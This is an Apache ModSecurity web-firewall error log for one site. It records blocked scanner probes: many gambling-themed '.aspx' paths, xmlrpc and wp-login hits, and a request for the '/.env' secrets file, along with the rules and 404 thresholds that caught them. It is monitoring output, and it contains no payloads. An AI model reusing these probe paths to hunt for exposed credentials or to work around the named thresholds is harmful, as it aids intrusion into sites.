[Wed Mar 18 02:33:08.623557 2026] [:error] [pid 63612:tid 63633] [client 20.39.61.185:18564] [client 20.39.61.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abmeZO7vPBSR8vo387NKyAAAAZM"]
[Wed Mar 18 03:08:11.162918 2026] [:error] [pid 63612:tid 63631] [client 172.191.184.190:51544] [client 172.191.184.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.191.184.190, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "abmmm-7vPBSR8vo387NeqwAAAZE"]
[Wed Mar 18 03:08:13.994728 2026] [:error] [pid 63612:tid 63632] [client 172.191.184.190:51544] [client 172.191.184.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "abmmne7vPBSR8vo387NeugAAAZI"]
[Wed Mar 18 03:08:16.339051 2026] [:error] [pid 40715:tid 40961] [client 172.191.184.190:25549] [client 172.191.184.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "abmmoGcms0rUPgdkLiEXGwAAABc"]
[Wed Mar 18 03:08:17.846420 2026] [:error] [pid 63612:tid 63615] [client 172.191.184.190:25553] [client 172.191.184.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "abmmoe7vPBSR8vo387NexAAAAYE"]
[Wed Mar 18 03:08:18.981158 2026] [:error] [pid 40715:tid 40960] [client 172.191.184.190:63146] [client 172.191.184.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "abmmomcms0rUPgdkLiEXHQAAABY"]
[Wed Mar 18 04:57:07.529840 2026] [:error] [pid 13716:tid 13721] [client 43.155.26.193:52808] [client 43.155.26.193] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "abnAI2WKzQVHkZkUHaTQBwAAAUM"]
[Wed Mar 18 05:41:37.077781 2026] [:error] [pid 44964:tid 45000] [client 157.49.182.240:61887] [client 157.49.182.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.49.182.240, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abnKkcvMufm4ayzOOhBNmAAAABY"]
[Wed Mar 18 08:13:17.895448 2026] [:error] [pid 13716:tid 13742] [client 20.2.90.103:38520] [client 20.2.90.103] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "abnuHWWKzQVHkZkUHaRTxgAAAVg"]
[Wed Mar 18 09:56:35.283463 2026] [:error] [pid 42870:tid 42886] [client 49.51.245.241:36010] [client 49.51.245.241] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aboGU56axlAooiuYyUxHRgAAAAE"]
[Wed Mar 18 10:57:20.850629 2026] [:error] [pid 31232:tid 31243] [client 43.166.7.113:57358] [client 43.166.7.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aboUkGX6HV7dqh3BQD1jpgAAAEg"]
[Wed Mar 18 13:31:20.830559 2026] [:error] [pid 42870:tid 42888] [client 41.101.102.127:60812] [client 41.101.102.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.101.102.127, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abo4qJ6axlAooiuYyUzEwwAAAAM"]
[Wed Mar 18 13:35:39.791671 2026] [:error] [pid 43009:tid 43018] [client 86.99.106.111:64666] [client 86.99.106.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 86.99.106.111, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abo5q38aUp4Sm6m3nmP_SgAAAQc"]
[Wed Mar 18 14:16:46.172956 2026] [:error] [pid 31232:tid 31258] [client 147.135.213.218:55860] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "abpDTmX6HV7dqh3BQD31qQAAAFc"]
[Wed Mar 18 14:16:46.304726 2026] [:error] [pid 20667:tid 20674] [client 147.135.213.218:57664] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "abpDTpgyfQyvBhzza_0_BwAAAYU"]
[Wed Mar 18 14:16:48.785382 2026] [:error] [pid 31232:tid 31243] [client 147.135.213.218:55866] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "abpDUGX6HV7dqh3BQD31sAAAAEg"]
[Wed Mar 18 14:16:50.635178 2026] [:error] [pid 31232:tid 31247] [client 147.135.213.218:55876] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "abpDUmX6HV7dqh3BQD31vAAAAEw"]
[Wed Mar 18 14:16:51.306621 2026] [:error] [pid 53755:tid 53760] [client 147.135.213.218:55882] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "abpDU6qw5ZSRshmIhWmVqwAAAUM"]
[Wed Mar 18 14:16:53.788745 2026] [:error] [pid 31232:tid 31251] [client 147.135.213.218:57814] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "abpDVWX6HV7dqh3BQD31vgAAAFA"]
[Wed Mar 18 14:16:56.252244 2026] [:error] [pid 42872:tid 42946] [client 147.135.213.218:57824] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "abpDWDchM8PQMaMEWJmjCAAAAcU"]
[Wed Mar 18 14:16:58.727368 2026] [:error] [pid 42870:tid 42900] [client 147.135.213.218:57840] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "abpDWp6axlAooiuYyUzTGQAAAA8"]
[Wed Mar 18 14:17:01.168125 2026] [:error] [pid 42870:tid 42894] [client 147.135.213.218:57856] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "abpDXZ6axlAooiuYyUzTIAAAAAk"]
[Wed Mar 18 14:17:03.502585 2026] [:error] [pid 43009:tid 43033] [client 147.135.213.218:52450] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "abpDX38aUp4Sm6m3nmMEtwAAARY"]
[Wed Mar 18 14:17:06.015932 2026] [:error] [pid 42871:tid 42938] [client 147.135.213.218:52460] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "abpDYmPUS0lM1M9nUaK9YwAAAJg"]
[Wed Mar 18 14:17:08.518471 2026] [:error] [pid 53755:tid 53760] [client 147.135.213.218:52474] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "abpDZKqw5ZSRshmIhWmV3QAAAUM"]
[Wed Mar 18 14:17:11.091964 2026] [:error] [pid 31232:tid 31242] [client 147.135.213.218:52480] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "abpDZ2X6HV7dqh3BQD31zwAAAEc"]
[Wed Mar 18 14:17:13.595653 2026] [:error] [pid 20667:tid 20691] [client 147.135.213.218:39012] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "abpDaZgyfQyvBhzza_0_GAAAAZY"]
[Wed Mar 18 14:17:16.097020 2026] [:error] [pid 43009:tid 43027] [client 147.135.213.218:39026] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "abpDbH8aUp4Sm6m3nmMEvQAAARA"]
[Wed Mar 18 14:17:18.481161 2026] [:error] [pid 43009:tid 43016] [client 147.135.213.218:39042] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "abpDbn8aUp4Sm6m3nmMEvgAAAQU"]
[Wed Mar 18 14:17:20.939958 2026] [:error] [pid 42871:tid 42930] [client 147.135.213.218:39058] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "abpDcGPUS0lM1M9nUaK9eAAAAJA"]
[Wed Mar 18 14:17:23.497430 2026] [:error] [pid 31232:tid 31243] [client 147.135.213.218:48006] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "abpDc2X6HV7dqh3BQD313QAAAEg"]
[Wed Mar 18 14:17:26.046970 2026] [:error] [pid 42872:tid 42962] [client 147.135.213.218:48014] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "abpDdjchM8PQMaMEWJmjFQAAAdQ"]
[Wed Mar 18 14:17:28.545801 2026] [:error] [pid 42872:tid 42964] [client 147.135.213.218:48026] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "abpDeDchM8PQMaMEWJmjFgAAAdY"]
[Wed Mar 18 14:17:31.079336 2026] [:error] [pid 31232:tid 31247] [client 147.135.213.218:48034] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "abpDe2X6HV7dqh3BQD318AAAAEw"]
[Wed Mar 18 14:17:33.633923 2026] [:error] [pid 53755:tid 53768] [client 147.135.213.218:53020] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "abpDfaqw5ZSRshmIhWmWCQAAAUs"]
[Wed Mar 18 14:17:36.131271 2026] [:error] [pid 42870:tid 42907] [client 147.135.213.218:53024] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "abpDgJ6axlAooiuYyUzTTgAAABY"]
[Wed Mar 18 14:17:38.663334 2026] [:error] [pid 42870:tid 42887] [client 147.135.213.218:53032] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "abpDgp6axlAooiuYyUzTUgAAAAI"]
[Wed Mar 18 14:17:41.085322 2026] [:error] [pid 31232:tid 31255] [client 147.135.213.218:53038] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "abpDhWX6HV7dqh3BQD32FwAAAFQ"]
[Wed Mar 18 14:17:43.653356 2026] [:error] [pid 20667:tid 20681] [client 147.135.213.218:35432] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "abpDh5gyfQyvBhzza_0_JgAAAYw"]
[Wed Mar 18 14:18:04.491305 2026] [:error] [pid 20667:tid 20680] [client 147.135.213.218:35448] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "abpDnJgyfQyvBhzza_0_QAAAAYs"]
[Wed Mar 18 14:18:06.819004 2026] [:error] [pid 42871:tid 42923] [client 147.135.213.218:49490] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "abpDnmPUS0lM1M9nUaK9wwAAAIk"]
[Wed Mar 18 14:18:09.497118 2026] [:error] [pid 53755:tid 53757] [client 147.135.213.218:49502] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "abpDoaqw5ZSRshmIhWmWQgAAAUA"]
[Wed Mar 18 14:18:12.200657 2026] [:error] [pid 53755:tid 53770] [client 147.135.213.218:49516] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "abpDpKqw5ZSRshmIhWmWTwAAAU0"]
[Wed Mar 18 14:18:14.620115 2026] [:error] [pid 42871:tid 42917] [client 147.135.213.218:56656] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "abpDpmPUS0lM1M9nUaK94QAAAIM"]
[Wed Mar 18 14:18:17.066731 2026] [:error] [pid 31232:tid 31244] [client 147.135.213.218:56672] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "abpDqWX6HV7dqh3BQD32xQAAAEk"]
[Wed Mar 18 14:18:19.602564 2026] [:error] [pid 53755:tid 53762] [client 147.135.213.218:56682] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "abpDq6qw5ZSRshmIhWmWXwAAAUU"]
[Wed Mar 18 14:18:22.206460 2026] [:error] [pid 42871:tid 42921] [client 147.135.213.218:56698] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "abpDrmPUS0lM1M9nUaK9-QAAAIc"]
[Wed Mar 18 14:18:24.636678 2026] [:error] [pid 53755:tid 53768] [client 147.135.213.218:40420] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "abpDsKqw5ZSRshmIhWmWZgAAAUs"]
[Wed Mar 18 14:18:27.194157 2026] [:error] [pid 53755:tid 53757] [client 147.135.213.218:40436] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "abpDs6qw5ZSRshmIhWmWagAAAUA"]
[Wed Mar 18 14:18:29.637336 2026] [:error] [pid 43009:tid 43031] [client 147.135.213.218:40438] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "abpDtX8aUp4Sm6m3nmME2AAAARQ"]
[Wed Mar 18 14:18:32.117798 2026] [:error] [pid 31232:tid 31259] [client 147.135.213.218:40446] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "abpDuGX6HV7dqh3BQD323wAAAFg"]
[Wed Mar 18 14:18:34.426647 2026] [:error] [pid 20667:tid 20678] [client 147.135.213.218:48022] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abpDupgyfQyvBhzza_0_TwAAAYk"]
[Wed Mar 18 14:18:36.948109 2026] [:error] [pid 31232:tid 31236] [client 147.135.213.218:48028] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abpDvGX6HV7dqh3BQD325AAAAEE"]
[Wed Mar 18 14:18:39.396681 2026] [:error] [pid 53755:tid 53762] [client 147.135.213.218:48030] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "abpDv6qw5ZSRshmIhWmWkwAAAUU"]
